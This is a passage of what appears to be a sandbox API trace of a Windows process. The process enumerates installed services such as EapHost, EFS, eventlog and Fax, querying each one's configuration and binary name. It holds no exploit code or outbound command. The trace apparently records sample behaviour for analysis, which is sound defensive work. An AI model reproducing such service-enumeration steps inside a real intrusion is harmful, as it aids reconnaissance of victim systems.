CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x233c9d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17ec8 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17ec8) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85990) returned 1 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85990 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85a18 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85aa0 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85b28 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85bb0 [0027.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17ec8 [0027.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1d17ec8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f10 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17ec8) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f10) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85bb0) returned 1 [0027.987] OpenServiceW (hSCManager=0x286c38, lpServiceName="EapHost", dwDesiredAccess=0x1) returned 0x286dc8 [0027.988] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.988] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.988] GetLastError () returned 0x7a [0027.988] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85bb0 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85c38 [0027.988] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85bb0) returned 1 [0027.988] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85c38) returned 1 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85c38 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85bb0 [0027.988] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85c38) returned 1 [0027.988] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85bb0) returned 1 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85bb0 [0027.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17ec8 [0027.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d17ec8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.988] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f10 [0027.988] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17ec8) returned 1 [0027.989] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f10) returned 1 [0027.989] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85bb0) returned 1 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17ec8 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85bb0 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85c38 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85cc0 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85d48 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85dd0 [0027.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f10 [0027.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1d17f10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0027.989] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f58 [0027.989] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f10) returned 1 [0027.989] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f58) returned 1 [0027.989] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85dd0) returned 1 [0027.989] OpenServiceW (hSCManager=0x286c38, lpServiceName="EFS", dwDesiredAccess=0x1) returned 0x286d28 [0027.989] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.989] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.989] GetLastError () returned 0x7a [0027.989] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x102, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85dd0 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85e58 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85dd0) returned 1 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85e58) returned 1 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85e58 [0027.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f58 [0027.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d17f58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f10 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f58) returned 1 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f10) returned 1 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85e58) returned 1 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f10 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85e58 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85dd0 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85ee0 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85f68 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85ff0 [0027.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f58 [0027.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1d17f58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0027.990] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fa0 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f58) returned 1 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fa0) returned 1 [0027.990] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85ff0) returned 1 [0027.990] OpenServiceW (hSCManager=0x286c38, lpServiceName="ehRecvr", dwDesiredAccess=0x1) returned 0x286e18 [0027.990] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.991] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.991] GetLastError () returned 0x7a [0027.991] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85ff0 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86078 [0027.991] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85ff0) returned 1 [0027.991] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86078) returned 1 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86078 [0027.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fa0 [0027.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x1d17fa0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f58 [0027.991] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fa0) returned 1 [0027.991] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f58) returned 1 [0027.991] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86078) returned 1 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17f58 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86078 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85ff0 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86100 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86188 [0027.991] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86210 [0027.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fa0 [0027.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1d17fa0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fe8 [0027.992] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fa0) returned 1 [0027.992] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fe8) returned 1 [0027.992] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86210) returned 1 [0027.992] OpenServiceW (hSCManager=0x286c38, lpServiceName="ehSched", dwDesiredAccess=0x1) returned 0x286d00 [0027.992] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.992] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.992] GetLastError () returned 0x7a [0027.992] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86210 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86298 [0027.992] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86210) returned 1 [0027.992] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86298) returned 1 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86298 [0027.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.992] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fe8 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x1d17fe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched.exe", lpUsedDefaultChar=0x0) returned 11 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fa0 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fe8) returned 1 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fa0) returned 1 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86298) returned 1 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0xc0) returned 0x1c87310 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83f70) returned 1 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fa0 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83f70 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86298 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86210 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86320 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fe8 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1d17fe8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0027.993] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d18030 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fe8) returned 1 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18030) returned 1 [0027.993] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86320) returned 1 [0027.993] OpenServiceW (hSCManager=0x286c38, lpServiceName="eventlog", dwDesiredAccess=0x1) returned 0x286dc8 [0027.993] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.993] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.994] GetLastError () returned 0x7a [0027.994] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c873d8 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83f70) returned 1 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83f70 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86320 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83f70) returned 1 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86320) returned 1 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c86320 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c863a8 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86320) returned 1 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c863a8) returned 1 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c863a8 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d18030 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fe8 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d18030) returned 1 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fe8) returned 1 [0027.994] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c863a8) returned 1 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17fe8 [0027.994] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c863a8 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1d18030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0027.994] OpenServiceW (hSCManager=0x286c38, lpServiceName="EventSystem", dwDesiredAccess=0x1) returned 0x286d28 [0027.995] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.995] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.995] GetLastError () returned 0x7a [0027.995] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18078, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1d18078, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0027.995] OpenServiceW (hSCManager=0x286c38, lpServiceName="Fax", dwDesiredAccess=0x1) returned 0x286e18 [0027.995] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.996] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.996] GetLastError () returned 0x7a [0027.996] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x1d180c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fxssvc.exe", lpUsedDefaultChar=0x0) returned 10 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1d180c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0027.996] OpenServiceW (hSCManager=0x286c38, lpServiceName="fdPHost", dwDesiredAccess=0x1) returned 0x286d00 [0027.996] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.996] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.997] GetLastError () returned 0x7a [0027.997] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18108, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 